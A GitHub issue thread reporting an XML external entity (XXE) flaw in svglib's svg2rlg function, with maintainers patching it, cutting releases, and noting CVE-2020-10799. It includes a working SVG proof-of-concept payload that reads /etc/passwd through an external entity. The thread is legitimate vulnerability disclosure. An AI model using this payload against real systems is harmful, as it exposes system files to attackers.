New issue

Jump to bottom

No disabling external entity expansion (XXE) #229

Closed **MrLion9** opened this issue on Feb 25, 2020 · 9 comments

MrLion9 commented on Feb 25, 2020 • edited

Hi! I found that I can perform XXE attack (https://en.wikipedia.org/wiki/XML_external_entity_attack) when using svg2rlg function

Code:

```
saved_image_path = 'test_png.png'
with open("./test.svg", "wb") as f:
            f.write(image)
drawing = svg2rlg(image_path)
renderPM.drawToFile(drawing, saved_image_path, fmt="PNG")
```

Payload (test.svg)

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "/etc/passwd">
]>
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
     xmlns="http://www.w3.org/2000/svg" version="1.1">
  <desc>Example text01 - 'Hello, out there' in blue</desc>

  <text x="250" y="150"
       font-family="Verdana" font-size="55" fill="blue" >
    &xxe;
  </text>

  <!-- Show outline of canvas using 'rect' element -->
  <rect x="1" y="1" width="998" height="298"
       fill="none" stroke="blue" stroke-width="2" />
</svg>
```

1

deeplook commented on Feb 25, 2020 Owner

It would be nice to put a link like this with your description, if this is what you mean... https://en.wikipedia.org/wiki/XML_external_entity_attack

MrLion9 commented on Feb 25, 2020 Author

Yes, that's what I meant)

averonesis commented on Mar 6, 2020

Hello **@deeplook** will you fix the issue?

claudep commented on Mar 6, 2020 Collaborator

Hello **@averonesis** will you suggest a patch?

claudep added a commit to claudep/svglib that referenced this issue on Mar 7, 2020

`Fixes deeplook#229 - External entity loading disabled by default` `0c03e46`

claudep commented on Mar 7, 2020 Collaborator

@MrLion9, could you have a look at the patch, please?

2 1

averonesis commented on Mar 7, 2020

@claudep yep, looks good, thank you!

MrLion9 closed this as completed on Mar 10, 2020

claudep commented on Mar 10, 2020 Collaborator

I guess you approved through emojis 😄
I reopen, because closing should be done when the patch is merged.

👍 1 😄 1

claudep reopened this on Mar 10, 2020

NicoleG25 commented on Mar 22, 2020

I believe that CVE-2020-10799 was assigned to this issue :)

🎉 1

claudep closed this as completed in `35686a1` on Mar 22, 2020

---

claudep added a commit that referenced this issue on Mar 22, 2020

`Fixes #229 - External entity loading disabled by default` ··· `d6d08c4`

claudep commented on Mar 22, 2020 Collaborator

I pushed both a 0.9.4 release to have a Python 2 compatible release with the fix and a 1.0.0 release which is now Python 2 free.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

5 participants